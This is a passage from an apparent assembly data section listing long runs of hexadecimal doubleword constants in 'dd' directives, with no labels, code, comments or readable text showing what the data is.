0CF82356Dh, 20785629h, 1AAC9B08h dd 1EF56C01h, 4EE92C41h, 8275A590h, 7D736BE5h, 0F1C09B91h dd 6059D9C8h, 0BEB4C9DBh, 3F81DEE9h, 1DD37A18h, 0C413DDF6h dd 0EAAD1Bh, 63222DEFh dd 429D67C7h, 0F0070970h, 0E9551771h, 0FD1A21D8h, 0FDA96E5Fh dd 0E01F165Bh, 515015DEh, 4513FA30h, 0D5005AB4h, 0EC6924E6h dd 0E9F31F21h, 0AAD12640h, 0C5E32063h, 62186812h, 0E9B138ABh dd 13FD124Eh, 0BA8F726h, 672B1D5Fh, 4850347Dh, 0A001E57h dd 534A0C6Eh, 33E01368h, 0CE01124Eh, 184927D2h, 3BB7802Fh dd 437D223Dh, 0E62CB04h, 9F8050D6h, 0BF2416Ch, 5BDD3138h dd 62BF61F8h, 0D7C892E2h, 5740B86Ah, 30B9BB21h, 4D2718BCh dd 955577DFh, 5DADE6E7h, 166CEA30h, 28F199BDh, 0B407A53Ch dd 1D7B631h, 0D85258E6h, 0EE17D06Dh, 3211D6F6h, 685603CAh dd 0A4A221ABh, 5807A3FAh, 838D4F8Dh, 5BDE4934h, 92CEACAFh dd 411D4709h, 0FE6D5009h, 2A1E68F1h, 560134A3h, 74458BEh dd 8BF1E53Dh, 0A8B1E981h, 0C185A394h, 6CC008E5h, 4BAA6CE7h dd 2E82297Eh, 12FFF834h, 0EB2DBAD7h, 40511652h, 2E666CDDh dd 109D0AE4h, 9DE050C1h, 6815F9BAh, 0A4C156A0h, 560970ADh dd 397C1BE9h, 6160E097h, 266783BFh, 2504AA5h, 7B3F03E6h dd 9FC7615Dh, 80E5E87Ah, 32AD5F68h, 58E0BC30h, 0F397C177h dd 69401FEh, 585B6356h, 51B555CDh, 5FC38169h, 2F29A1DDh dd 0BCC253D0h, 389E261Ch, 5CE42020h, 348564F7h, 0E1CB857Ah dd 0E9578BD6h, 0FE84E07Eh, 0F6801CC6h, 10BEFA2Fh, 0DD906A92h dd 4ABC2E86h, 628720E4h, 554B936Fh, 0BE4717BAh, 0EEE85B5Eh dd 0B530C70Fh, 1A02533Bh, 0A77BFBE9h, 0CB72F0E6h, 0EAFD6B33h dd 0AF3A415Dh, 87491389h, 1A0792DEh, 0DCF98256h, 0B18A1563h dd 0B0215E17h, 8409F33Fh, 572C430Ch, 73E360Ah, 0F9D3089Ah dd 0F75103D5h, 0F4D205DEh, 0D4FFA22Ch, 41CABEAFh, 0E4856C41h dd 0AB37F068h, 2CE91768h, 6F75DCC1h, 0AE89EB05h, 0A516C631h dd 3E525D01h, 11561301h, 0C7264C44h, 0C419348h, 173ADC21h dd 8198AFCDh, 0D0E34F7Eh, 726BFA97h, 4F4595Ch, 0A270F8Eh dd 0D47E14ABh, 0ADE1D039h, 70AF43E9h, 8D6463AAh, 0FF82E5CBh dd 627554BEh, 9C08A00Fh, 0A4099003h, 3FFE2778h, 705FDE18h dd 5378B362h, 1C56157h, 4D240563h, 5A2E28E6h, 5BF4ECFEh dd 0C3ED3CAAh, 15692C8h, 0F833F281h, 89D5D203h, 0C1D600AFh dd 25640547h, 3655E829h, 32E91350h, 0AE3CAE49h, 305EB72Ch dd 84D6F45Ah, 0BF461068h, 91531635h, 0EE9666B2h, 4BA9EE52h dd 0EB3D2884h, 8D1E4E24h, 0DA96A38Bh, 446800D1h, 5833FB1Dh dd 416B2D40h, 2507540Fh, 0CBF0FA0Ch, 7B5C5272h, 510A788Bh dd 0AC21760Ah, 1A1D113h, 0F580282Ch, 0E414A085h, 57756812h dd 8012F2B3h, 0EF1F352Dh, 91B76F87h, 25916FCh, 685DEE31h dd 0C8E6282Bh, 2DF5504Ch, 0BCFB5148h, 413BF893h, 7967BB7Fh dd 0D3623246h, 4C04921Fh, 99A14E22h, 1720EBFCh, 0C05C751h dd 0BFB6E105h, 8370BD00h, 3DCF813Fh, 73A0228h, 91CDE947h dd 4906AD6Ch, 14C5A2Bh, 5B7CBDFEh, 0C752199Ch, 0B4128504h dd 820C0713h, 0B363275Ah, 9305EB11h, 8F0388EDh, 0F2EEC786h dd 69D60BCEh, 4AFC3C31h, 468C2A04h, 0C4EDABC1h, 959A074h dd 8005EFC0h, 0F80A548Eh, 1655CBF5h, 3C4C2206h, 6BC16120h dd 61685259h, 961389C5h, 1B810F2Eh, 0DA60D6B9h, 9D61B72Bh dd 66F7E24Ah, 48CD0B79h, 0EA706522h, 0BA4A260Eh, 0D802AE71h dd 98E6D152h, 1B2F0962h, 22DDB811h, 425BD841h, 1A217D22h dd 4021CFE9h, 93D3BC42h, 0FB0824Dh, 0E959CD89h, 9F3C66E8h dd 952080D2h, 9F6818DAh, 0B03BDD56h, 0E2E7799Fh, 10BE2A2h dd 0DEF67F40h, 0AE28C304h, 815AF081h, 0E9D02C06h, 0A23FC19Bh dd 0A3398550h, 646728EFh, 828DF54Bh, 88F7956Fh, 7E408DA6h dd 1C2A0BB8h, 820125B5h, 41496BD2h, 3AD412C2h, 0E724E58Dh dd 611F6E70h, 0D6F4C129h, 0DF2ED962h, 9A9FCF94h, 0E0E4A99h dd 8CD4CA2h, 0FB504895h, 4CD5B65Fh, 541818B9h, 9726E469h dd 0E60B14DBh, 65B97FB7h, 4FCD2B52h, 249CA06Fh, 49C8924Fh dd 3D9398D2h, 1DA72FA2h, 16DD46E2h, 17765FFEh, 53CAFF8h dd 0E9FE0929h, 9952BAA8h, 1B6A03EEh, 2E32961Dh, 45561F6h dd 14C12EAFh, 22ABDF5Ch, 67321E04h, 458369C3h, 7DB3EAB5h dd 0C65074F8h, 8430E908h, 2BBD64E6h, 901E7339h, 7A100EE2h dd 0CDC03220h, 463A6986h, 415F18C0h, 0B8520AB4h, 0E5E973FFh dd 0A5E656ADh, 7CB8982Dh, 7F5C59B8h, 4768FA02h, 41E39A16h dd 5E00B07Bh, 5B015D53h, 617FFE2Dh, 972E0526h, 0B87459ABh dd 461B04BDh, 1B81545h, 0E9200741h, 0F8DE5F31h, 0CE0AA141h dd 15C4F128h, 0D3290332h, 8EEA9D5Ah, 0C0D55005h, 18137712h dd 9AB2DAB4h, 176818C7h, 0CAEB5F2Dh, 3297B8B4h, 0AD99D4BEh dd 1340589Bh, 748C3AA3h, 1EB9B10h, 0BA31A468h, 6A89B15Fh dd 77C20BE1h, 0E66F4BF9h, 51EDE59h, 105BCFBBh, 1F70AC23h dd 0CEC95451h, 12B3722Eh, 5DC36349h, 0E1B83BCh, 0A9C2E909h dd 77026F44h, 5B48C030h, 17FF5121h, 0A46F56B3h, 6BBA5473h dd 8002F380h, 8899F20Fh, 494EA5D3h, 0E592FDBCh, 6C19F1DBh dd 31661B3Eh, 0FDB0C9E6h, 0D02E2ABCh, 38C10261h, 0F0602644h dd 0BD8021CAh, 690B3EB6h, 0B43538C8h, 9B8DBF0Dh, 0BFAF6AD4h dd 0EA5880A4h, 0BDACBE5Dh, 0E642F04Bh, 93A20547h, 81F931D7h dd 49463AFh, 0CB91A7BFh, 0B939805Ch, 91F3335h, 0C594E95Bh dd 0A03C07D3h, 2D682D4Fh, 0E8065C09h, 29BD82AEh, 4127DD45h dd 0E8D6EE58h, 2DAE5A46h, 563C02A5h, 556B68F1h, 0E90E93EDh dd 62E2737Fh, 0E1F7660Eh, 2F7C6862h, 31737AD5h, 85B1695Ah dd 74312B03h, 64F8501Eh, 99E91652h, 0B532AABFh, 9F59D0A6h dd 0E917B5F8h, 5157F0C7h, 305C16EFh, 0EDB850B8h, 20CD7412h dd 0F3408B13h, 665EFFBBh, 2C6FB473h, 2081283Eh, 8837A5A3h dd 74953CDAh, 0C381D390h, 137A13CFh, 470E133Ah, 7256575Dh dd 0D155BDB8h, 96C46F80h, 1082A96Fh, 0F601E092h, 0CB353D9h dd 805BD430h, 50ACF107h, 929C888h, 0A8165F1Fh, 0BC85E917h dd 3F6692DCh, 0F419D929h, 0E9F51D25h, 0ED7EE124h, 0E0846E1Bh dd 44AD9BEAh, 0FBD6ACC4h, 0E9F099ECh, 9CB9E727h, 2035CA04h dd 73F91AD5h, 596DBF03h, 220B7585h, 61ED28B1h, 6890784h dd 0C10E5106h, 7A44CF49h, 0E076EEF1h, 3F1ACA81h, 123172B5h dd 2CD403CDh, 80DA4AE9h, 504BA4Fh, 64229A26h, 52FCB712h dd 4FA10A1h, 0C1C3A083h, 10868AE8h, 694F380h, 0C004D61Fh dd 2045E549h, 0AB65C73Ch, 62149648h, 0F05D56E9h, 0EF60D2C5h dd 0FC4FDE2Eh, 7671B24Bh, 2D72DD8h, 9A6B3FCh, 0AEA1388h dd 0C964F64Ch, 2B0983E1h, 6CEAF484h, 0F03868BDh, 0D6B5701Dh dd 5144D222h, 0D5FB5E25h, 0FA29B499h, 9FB59C7Dh, 5A9A2FDCh dd 2E4457B3h, 760BFE27h, 205C58F9h, 2D626D0Ch, 0BF531701h dd 9033A8CCh, 28504CF4h, 96810E0h, 14682E63h, 38E55F0Eh dd 0ED11C065h, 522935FCh, 1C29236Dh, 3D19380Ah, 530D7600h dd 296BA2Dh, 0E933847Fh, 67E536D9h, 0A0005316h, 7A700DF5h dd 0BF968BBh, 48F21085h, 16E1006Ah, 521D4722h, 6FD40BBAh dd 0ECF65198h, 9FC8010Ah, 0A5D65E42h, 8BAE32E6h, 748218E4h dd 133BEF83h, 130B7F2Ah, 82ADA50Fh, 3D04510Ch, 98888423h dd 169CB800h, 4016636Eh, 8EEC083h, 3321A504h, 0F7A73043h dd 6E9C5DFBh, 14D6870h, 7F3280ACh, 5AE94860h, 0F7CF0305h dd 5BC141D9h, 0DF4F076Ch dd 0B5344CD6h, 0D32EF1A1h, 30C8F396h, 12D3A79h, 683630D8h dd 6485B402h, 0E54BBD5Fh, 36B46116h, 0A8C55B8Dh, 80D5B762h dd 19254EAh, 98478F13h, 432E68B5h, 0E9624D39h, 24385E33h dd 43C458C9h, 0FE5D5980h, 72EC9FF5h, 3479D895h, 0BCAB298Fh dd 35A605B2h, 6A1313C9h, 7048278Fh, 0A763552Eh, 0D3B91457h dd 52810A3Eh, 250C4256h, 0BECF6607h, 68EDB40Bh, 1FA2615Dh dd 281DD77h, 1DEB639Fh, 166A080h, 0D9E6350Dh, 5E0828D0h dd 0A2C148E4h, 65BB5917h, 6E1EF9EAh, 0ADF308B2h, 99609CDFh dd 0F0A008BCh, 0EFE81C44h, 0E718D202h, 52D7591Dh, 6B58587Ch dd 1D75C31Ch, 6FEB5DD3h, 4F428E7Ch, 9665249h, 5510403h dd 79F38BDDh, 6F186350h, 0C5560F92h, 0A05C88Ah, 4920D13Ah dd 85903BCAh, 81CE29h, 0C714A4EEh, 0C6015903h, 98DB6827h dd 138BBB79h, 0C027E32Eh, 0E63DE93Fh, 85451BDh, 7A28A3DCh dd 291704FEh, 0D1A14B57h, 3F349EE4h, 0EB80658Dh, 0B2F9DEC5h dd 0E926DA01h, 58844E12h, 0A1A5F829h, 0BC6ECD3h, 0A4DB81Bh dd 97E26D0h, 2E3C1EFCh, 0AC126C99h, 60AFA64Fh, 8BC10155h dd 3ECB3BEFh, 0E96D305Bh, 4495D3F1h, 4F17F0C0h, 0A5A2F3B9h dd 0D71E8AEBh, 4B9F31FAh, 8C0B6295h, 2E07BA56h, 9179114h dd 0CE75C809h, 80DC4FA4h, 4E19BEBCh, 300C563Dh, 0B9B82B75h dd 80D05A10h, 0F7910521h, 0D03D173h, 45AA4E86h, 346ED840h dd 0A2175A0h, 0A88EF359h, 90F62793h, 3C04A1CAh, 8BFBE03h dd 0C0277968h, 0BEF5727Fh, 30DC5068h, 525F16C3h, 22E5C754h dd 58F4D034h, 32E5F8C3h, 10223B4Fh, 1B61877Eh, 0D9203348h dd 57970BF1h, 480A3688h, 90D54B4Bh, 1E8B6847h, 8C6C7308h dd 524613CFh, 43BA6607h, 8953536Fh, 0F00650D3h, 1F557E5Ah dd 686D2CBDh, 67B63FE0h, 0BA14A1DFh, 1F9C0F12h, 0ACBFE257h dd 9A41776Fh, 0EF1C8603h, 942E7AF2h, 0AA2A0941h, 0AEEB7324h dd 65AF7C95h, 0B4A3ABCFh, 9863D12Dh, 0DA0041FBh, 284068E3h dd 766BB805h, 1374BDDCh, 0C9157F2Dh, 769B1A2Dh, 7F7C0B2Dh dd 0EA51035Dh, 130D7E78h, 80E7E9D0h, 7B886800h, 1B79392Dh dd 643CD9B3h, 2F0BE901h, 97E7BB6h, 63997B84h, 12D85504h dd 0C7684FBh, 0E3397FC3h, 1251A149h, 86550C8h, 0CDE92770h dd 6AEE9503h, 0E1147D34h, 0F67DD8BFh, 5251DF02h, 0A3259768h dd 9A67B01Bh, 0B38C846Bh, 1FBD2E8Dh, 9D2754FCh, 273DF8CDh dd 66FB4236h, 639BDEA2h, 100F2D87h, 84FF6A65h, 3924EB79h dd 0F38DC2h, 88D8B652h, 10CAF74Ch, 0E05BDE6Bh, 17000571h dd 2D292A37h, 7B911C0Dh, 757CBD2Fh, 0B51422CFh, 0A93E04Dh dd 0F86A5E4Bh, 395A0015h, 0E9425121h, 0F12B693Bh, 6D99805Fh dd 0FA0B070Ch, 0DD816562h, 27C80C1h, 34B85801h, 431D9BBCh dd 97066A8Ch, 4E798C6h, 1FAF11D8h, 0F02AA858h, 9F28DC68h dd 0E4304B18h, 0DF2CE9Dh, 0C3FED3F6h, 0AA4F3004h, 0A784E92Fh dd 37A1EF91h, 9A203446h, 87DD9C06h, 924DD656h, 186835E9h dd 40CC8AB3h, 0F70601h, 55B05051h, 0FE58C188h, 61E9C917h dd 0C55FDE4Eh, 2CD89876h, 13F8FE9Dh, 0B84C293Bh, 5E0CD079h dd 9E0041BDh, 0E9606B56h, 81925B11h, 2650B24h, 0A07A48Ch dd 2AD316B9h, 0D200BB96h, 46F505A5h, 1B353B48h, 0A9696B14h dd 21251020h, 8AF71D8h, 0BB01D768h, 39E64095h, 9BE5330h dd 29462F25h, 8807F50h, 4D4EAEE9h, 8D373A9h, 5918C5BEh dd 3E3CBF80h, 4D2D07C3h, 3EE069C9h, 7D33CC06h, 555B2712h dd 895A63E6h, 0E99A44BBh, 1413BA49h, 1349D0A8h, 88C8B2C1h dd 0AB2FA6D1h, 572C5D1Ah, 0F2C2417Bh, 11365578h, 8293C597h dd 18725E8Bh, 3DC0D5E1h, 0A09F20AAh, 2D489B0Ch, 825D30B4h dd 0FD58C666h, 0BAA675C5h, 9F124E00h, 2FF50120h, 10DCFC68h dd 29070FC8h, 3AF4E9D5h, 5BF20516h, 8C4B850h, 1816D738h dd 0F0890DE5h, 0C1E5E94Bh, 0FB6B357Eh, 5B61C9F4h, 0F4C5A24Ch dd 3B6C8383h, 1599E899h, 3FF50F34h, 71288680h, 314C130Ch dd 0E944B0FDh, 1436D827h, 1D5E5BC9h, 3E726BCh, 66C66354h dd 2F5A0C01h, 0DA291230h, 4F10A97Fh, 6B466CE0h, 955584Ah dd 20ACF6F2h, 0D42BF90Bh, 45D2AF92h, 0F4C55D59h, 0F742ABA5h dd 16D54492h, 0AF585B29h, 5EA43338h, 0F1C950Dh, 1277616Ah dd 0CE24EF3Eh, 0EA375D80h, 0E9940CB5h, 80300C93h, 4054C732h dd 4031FC4Ah, 956862F3h, 2190B5Ch, 238F4CDCh, 0E1A78F43h dd 319C6D64h, 3EDFE63Eh, 4F3D8B2Dh, 20ACF67Ah, 105B6F07h dd 455EEE5h, 0FA6DE9A0h, 2CEEE413h, 7C406F13h, 24B94551h dd 67FEF1BAh, 88290D25h, 0E9040821h, 0D889C385h, 7C223A40h dd 2784C8Dh, 0E90D1E30h, 7AB7A463h, 9CC0484Eh, 0F6800760h dd 0F43B08F2h, 0B5C4105Ah, 0E2268A48h, 0A7E809F0h, 66E96F6Bh dd 0A952C242h, 69303601h, 4DB2E948h, 0E7A8B22Eh, 93915185h dd 6660F128h, 0CB09954Bh, 22765F5h, 0E5DEE951h, 5658B6C6h dd 0F0700CCh, 0C15A7828h, 664B0EAh, 0A64CF8C2h, 0EE0B0C13h dd 0F0EB6962h, 0A886C0FBh, 11D8606h, 868F109h, 75E5303Ah dd 5C6A7104h, 0D827464Ah, 5C6494DBh, 0F0BC57EFh, 645032C7h dd 91409C82h, 1053766h, 0E468B708h, 0F861CD14h, 607EE3BEh dd 6D6F732h, 0F6B040DEh, 14737F1Ch, 215EF009h, 8DADE651h dd 84A6155Fh, 0BFBC28E9h, 19E0B0B5h, 0BCC59D08h, 505C8A20h dd 4A42047h, 877F580h, 6B98EBEEh, 0FE7955E8h, 286CCED9h dd 404F0105h, 6AB0C959h, 3C99E0BCh, 7C1BA754h, 74A610A4h dd 0A5091F90h, 0F771E678h, 0A12CAB44h, 5F6A36B4h, 5F106901h dd 728F812Fh, 1721B61h, 5936AE65h, 0B3964070h, 0A5B393Dh dd 0B1EE24C4h, 1C98DB9Bh, 0CCA02D6Ah, 0C2273276h, 0CD3A6813h dd 91741298h, 50E2010Dh, 7A1A2E39h, 78334A14h, 0EF665C40h dd 0E7B6C130h, 2764A97Bh, 0B5BA0001h, 0B8E32C92h, 0B7C57040h dd 0C712356h, 5557E100h, 38A76804h, 0CBE83FA8h, 0D6E58101h dd 93497E29h, 8838069Eh, 1B1C17DCh, 9301AA62h, 9AC8E1C7h dd 55954E2Eh, 0D901EA57h, 23EA67DAh, 7421F9F1h, 5D5F0802h dd 183E53F1h, 0B80A8B7Dh, 872C1EA7h, 7B478903h, 0D5170F16h dd 28E8535Ah, 0C3F389C4h, 0E30D621h, 0C7853058h, 1E419F67h dd 0DFB32F5Eh, 6D409C9Fh, 0D3C25576h, 0A870253Fh, 0F58817E7h dd 21EA16AAh, 0F050Fh, 504D8F6h, 301E2C26h, 0B463EBC1h dd 2CEFF4FEh, 0EBB853EEh, 4B09787Ch, 5DB854E9h, 0AD908BE6h dd 33CB9850h, 59C8290Fh, 7C76222Dh, 0ADD6A39h, 6D055B07h dd 88805E4Eh, 4C1DA2C3h, 8E1A1219h, 2FFE93Dh, 55DF0183h dd 355AC5DAh, 3DD520D7h, 0E1E8A7D5h, 8207FC4Ah, 0FFF616B4h dd 7DBFD00h, 87277AB3h, 439357D6h, 5AB105Eh, 0E5D7EF96h dd 4D956A65h, 127CF356h, 0DA258833h, 0C25881BAh, 640C9AE6h dd 0C8709FF2h, 62BE32D2h, 0D857173Fh, 207B9DA8h, 8D6A546Bh dd 2CE0FEh, 0E54D8DB2h, 1533D48h, 0C21AB277h, 1F5DCF89h dd 4DF2ED2Bh, 80A34BD3h, 0F875EA92h, 0CB3E402h, 6FBF60DEh dd 8987B621h, 0A633E0FAh, 214702D0h, 51ED4397h, 0DF36A40Dh dd 4AF17840h, 0CFB3CC49h, 7A310C41h, 27F7CFDh, 1DC7BE92h dd 54404142h, 12027D6Fh, 0E9EED163h, 0BD86785Ah, 5C02ED3Ch dd 0E9CB885Ah, 2FA176FCh, 6F57DA99h, 0A2AE9965h, 3E6D0B64h dd 0BEA02D9h, 0CDF2B05Ch dd 9EFF99B3h, 0E9365356h, 17FB033Bh, 3943462Dh, 0D0AF93CAh dd 8D09DE50h, 39CD4Ah, 7673B671h, 64F0BD31h, 0BFCE4430h dd 4CFFC1C7h, 0F926DFFDh, 197C8B99h, 5D810D90h, 5075D633h dd 6E93B0B7h, 5482EDD1h, 1CAC9224h, 0B02248DDh, 46FB9711h dd 0DB12DC1h, 0F834F06Fh, 0ACBBE913h, 0F16B5EDh, 5C9DE6h dd 2424696h, 0A4A4334Ah, 50FDE2BDh, 3C2FACCh, 0E96CFE34h dd 321D7227h, 3CCAD109h, 94A48F4Fh, 5B202D40h, 8E729561h dd 87D10783h, 3FD3A04h, 948213CAh, 8039DEC0h, 0E230E589h dd 84E8B37Fh, 0FC2D0990h, 5E49135Fh, 0F1675C01h, 6FA2C420h dd 71860B3h, 215C56AEh, 0E8B408B8h, 76A23689h, 0EA9649A0h dd 310896BDh, 0E9251CB8h, 56C23FAFh, 251FE75Bh, 1809A87Ah dd 0F75DCD45h, 0B2C9758Eh, 535B99FDh, 6BA1F93Fh, 0F5B84820h dd 0E71B2F6Ch, 0C5E46270h, 3F145850h, 928FCC4Bh, 1257597Fh dd 721BB02h, 1B4041DAh, 0C23B39DFh, 5DE30642h, 0C0C9038h dd 8FFFFCEBh, 0D95FD1CEh, 548F0EACh, 88983A24h, 291CF249h dd 0D8D762B2h, 0FFAF4509h, 7FB4F396h, 0C22404CBh, 0B9FBE5AFh dd 4030DEE2h, 601706E4h, 6A1A9614h, 0E9166420h, 7354BC8Ah dd 0A7A11070h, 505D540Bh, 4C0FA520h, 0F7987C38h, 0A9D1CE0Bh dd 0DAAB227Bh, 5058FCBAh, 0E5990C03h, 61F6644Fh, 8AA231AFh dd 0DBA80443h, 180C9B40h, 0C46FA58h, 9E052942h, 0E6F2E94Dh dd 9D0627A9h, 0C506145h, 7F3B2070h, 98B8826Dh, 0F1120D9Ah dd 0AE482558h, 1B956FEBh, 66A2E711h, 1E297928h, 0B1E25353h dd 3DCA6FABh, 0E26ED2D3h, 910076CAh, 3A1B9492h, 51025BB8h dd 0E97B4665h, 0D7ADA9D5h, 668293E2h, 0A2DD2901h, 5FF8468Ah dd 0C30808D9h, 0D2F602ADh, 3374E2C0h, 0D5303E05h, 66018BE3h dd 0E9B2B353h, 0B91A246Dh, 342F18F2h, 0BCB06861h, 716C2616h dd 48AD02DEh, 18E2070Eh, 50AD15D1h, 0A1680563h, 0D4288E08h dd 0C67282F1h, 0E4D4AF0Fh, 9D86F73h, 85F49548h, 0CCF3B001h dd 0D01C189h, 0E8ED7BA3h, 0BB2CFB93h, 5EA7404Bh, 74160ECh dd 0C882933Ah, 259019D1h, 2AF13048h, 330B4763h, 4549D556h dd 0E9BD5C02h, 0BF83050Eh, 2DC07976h, 31F977ACh, 0F48F41C3h dd 595FC25Dh, 0F5EB6F6Fh, 0F6B299D0h, 85F7EF9Dh, 0A88884E9h dd 0A03C9EE5h, 0B8315FB3h, 672DB0C4h, 70F055Ah, 0F05E801h dd 2AB55D07h, 0FC6F2817h, 0F9F19247h, 9020296Eh, 0BB34C428h dd 41D5043Bh, 2C37BF02h, 67A42301h, 0BBCE853Bh, 3F9D081h dd 13E3447Eh, 4398EFB1h, 16072465h, 98F31413h, 5038A310h dd 784E9D55h, 68818332h, 73C280FAh, 0DFEA0D12h, 0D610CA28h dd 0EDE9640Fh, 4F65E3FAh, 16F44BAh, 0A2F2EAD3h, 9F99BDD3h dd 0B71FBD10h, 988479ABh, 98293E68h, 0FE68DE28h, 562C9855h dd 46CB8072h, 31271D0Ah, 2A8AEA31h, 585200B6h, 96C2F65Ah dd 0A0751796h, 681259E8h, 8CC71E2h, 9400BDB6h, 0D7774A05h dd 35482B02h, 600E5F74h, 97793C55h, 2FFCD89Ch, 5A3CBE6Bh dd 97F4BDDFh, 2AE1C4F2h, 0A7749A9h, 380662B8h, 61FA08D0h dd 6B836804h, 0B61F33A2h, 0CE42C92Fh, 6054C875h, 60A09791h dd 37443EA8h, 0C9EA8102h, 0DD1B5A38h, 1808F128h, 139F1E58h dd 4260A176h, 4D105F0Eh, 0EAE2BF62h, 5205C3C3h, 3F2CC304h dd 71A60BFAh, 0FE860884h, 0ACCD5D5Dh, 11737BC6h, 0C720CF58h dd 3620495h, 8F2F5FBCh, 0B1B31677h, 0EA4D0B59h, 0B5962351h dd 0AAA40E53h, 6B29483Ch, 0D0FC2DCBh, 0F63F88ACh, 0FB8A50F7h dd 2A2C6851h, 0C2C44945h, 0B94FCBFCh, 0EDA1B3D0h, 8AC473ECh dd 0E16CADE8h, 96E43E9h, 85595D03h, 85C5F5EBh, 0D307D72Dh dd 0D37B75Ch, 3B0FC9C2h, 6D7B8140h, 97317045h, 38305676h dd 0BFEEC15Eh, 21D50660h, 0E9F78904h, 0A6B9562Ch, 5DA6F076h dd 0FF5F8C94h, 0C47B4269h, 6BE8CDh, 0F36176BEh, 0EF68111h dd 7FC631AAh, 0AF28C1DCh, 880191CAh, 13BD7B6Ah, 0FDD4FB51h dd 401DA102h, 4BFA6017h, 52F5C0A9h, 997EABBAh, 9BF0725Bh dd 2DCBB809h, 917DC025h, 0BA512201h, 0CEC9F130h, 0C9FE0883h dd 1200B252h, 0CA205AD1h, 0CC686659h, 0F93A802Ah, 9BC12854h dd 84E5D449h, 0DFEE7D9Dh, 59404A00h, 6D251A85h, 0D4534BE9h dd 0F179D1F4h, 18236717h, 0B9FFAF35h, 1A52197Ch, 0C2491641h dd 0AF41E557h, 2681901h, 5B55C23Bh, 0FBA18BCDh, 30DC14D7h dd 0EA179AB5h, 292F0EA0h, 80097238h, 970A3108h, 7A0283ABh dd 0E65B2311h, 722CF0A0h, 0D9538BB8h, 0A79401DDh, 0E216E5FAh dd 831DB8ACh, 0D94AC380h, 0F7C2BE49h, 1452FDF9h, 0F8E918B3h dd 0D6B15295h, 12F18016h, 9D2CFF13h, 0F5B6A328h, 2BD1EF14h dd 52095780h, 6256D954h, 5904E0BBh, 0CA6490ABh, 1E055F53h dd 55F7686Fh, 0E984485Dh, 3AFDEC2Dh, 0AF1D2200h, 0A0F3812Eh dd 3A07011Dh, 5893CB82h, 518EFF7Eh, 9F7BCF20h, 0E913DD29h dd 0C74626E3h, 2F8341A7h, 0C9468AE4h, 2AC4A481h, 68C20FFDh dd 8FB056B5h, 4FC54065h, 9BE817D1h, 0F76AEFC6h, 1D09507Fh dd 8E721413h, 28EAD332h, 97626A86h, 0FB096870h, 4B102CFFh dd 0A009C075h, 87FBBDFFh, 7CCFA53Eh, 2D364AACh, 898FD77Ch dd 0AF5AA6D1h, 0D2C24829h, 0EEF16527h, 6652FE8Bh, 5F537A31h dd 7C7FF1FFh, 40F8AC0Bh, 0CC31682Eh, 3732CF31h, 45B8C3Fh dd 20804216h, 1D816DA8h, 6FB519BBh, 0A774EBC1h, 0ACCBA392h dd 2A6E98DCh, 404A2C0Bh, 0FBA518CCh, 68252477h, 6BBAD6F8h dd 0EAA28141h, 0E978AEFCh, 5DD6AACCh, 0C9278895h, 0AC2EF3B9h dd 0C383A0ACh, 5E129002h, 615C4497h, 0B0CFBA6Bh, 3B27910h dd 0E3DD30BBh, 0C1321028h, 3F04019Eh, 8091B151h, 0B2427771h dd 0B48FFF6h, 0F896F930h, 0B09D610Bh, 0B55E7C38h, 0D2E48851h dd 86E99C01h, 0B9F43E91h, 0B0CA408Dh, 57EC595Bh, 180C927h dd 7C1F3EBDh, 9534287Ah, 57AC329Dh, 53D70402h, 2661ACB3h dd 5B6F60F9h, 28A52C0Fh, 0C37FDC8h, 9C4D784h, 0D36FA7BBh dd 766C3E92h, 95C1262h, 5E8207FAh, 94A0C992h, 71DB0137h dd 55A4295Ah, 66545C57h, 88939E24h, 273D55E4h, 0EB6D2020h dd 484A25C9h, 5804AE16h, 0ABCCEA09h, 68096FCEh, 0BAC6433Dh dd 0D43AA20Bh, 0AED90004h, 24590642h, 1748FB21h, 3B302938h dd 207F3C14h, 0DF2D0699h, 265B4E72h, 1FA67A9Dh, 196EA705h dd 432D3058h, 0ACB05E07h, 4A7B120Ch, 9006DA9Dh, 0ABAD4E44h dd 0DE8A0121h, 18164969h, 35312CE7h, 5FA48D5Bh, 7E534186h dd 4978E3E1h, 9D05425Eh, 7BFC792Ch, 0E204A800h, 4EC5E932h dd 0D28BA9D9h, 2F4D7901h, 0B92A64EFh, 82EB46EBh, 72ACD4E9h dd 458812C1h, 0A52304AFh, 0DEEFDDh, 2D0CE90Ah, 7A3240ACh dd 569D4D4Fh, 36EB01B5h, 6E493E78h, 0A96E650Bh, 0A5645984h dd 0EE202A6Ch, 88FB96A3h, 5C25D54Bh, 88F60885h, 3A5F300h dd 0E2683862h, 0BE18BF55h, 0E1E4252h, 54258B3Ch, 5DE9F86Fh dd 59070A9Eh, 0F752C683h, 127E1D6h, 0C78C1141h, 624D8A7Ah dd 75340F24h, 0C2B2CAE0h, 0C95CF4B5h, 1D407656h, 0BD755957h dd 0B7489244h, 7C7DD010h, 0BB9C840h, 7B22424Dh, 9C204A5Eh dd 1CA75A20h, 7FEF681h, 0EB31762Eh, 14DE2404h, 53EE0378h dd 0E88137F5h, 90EA5EA8h, 0E0D92DB7h, 4BDF5790h, 0D4F00122h dd 0EB10800Eh, 6E974597h, 0D2253AE6h, 315E1360h, 3F4153BFh dd 0EED0CA12h, 0C50CDD24h dd 55FE3758h, 0A5209B2Fh, 54F7803h, 53685A1Dh, 0C545EC69h dd 37BB3847h, 923CF1AEh, 40303A26h, 736ABD55h, 9A3B4C73h dd 5046020h, 4F4D4372h, 6E56D8CBh, 5ABD3710h, 512D04F2h dd 0FB093462h, 4F319482h, 0AB3DC282h, 5A0B5FD1h, 668ED151h dd 14FC9059h, 0CC901BE2h, 2D3CF402h, 74EDE918h, 0DECF20E2h dd 79F894C3h, 37924068h, 0A103D5B1h, 76E7A559h, 7A66F99Eh dd 5750BB31h, 1A2FA740h, 815F0133h, 3A2AACCFh, 42C2F07Dh dd 0C2959B9Dh, 1FA40FAAh, 10C3B37Bh, 21193D38h, 0EC50B3F0h dd 0A19DC736h, 0BF0CCC99h, 0CF2C0478h, 5D430958h, 8B774D75h dd 0B2A078E9h, 6617CCB9h, 0C8097900h, 0DD8F759h, 0A26400E5h dd 6C722D71h, 0F9E235E4h, 0D1524602h, 4058C621h, 1810297h dd 0BBF53DEEh, 3BB0E9F6h, 0B6B8E40Fh, 929399A3h, 0B46881DAh dd 2F1E20BBh, 63890EA8h, 60AB54BAh, 40144F2Ch, 4B0E9E90h dd 0D70A9555h, 0CDB43113h, 0F1519FEDh, 26200108h, 0FBEC09E3h dd 0B5366E7Fh, 791493A2h, 266302DCh, 0E7793BB3h, 0D740B5A7h dd 3FDEE188h, 7A48AFBFh, 0CA68140Ch, 53C0D10Eh, 650175BBh dd 0F3810F01h, 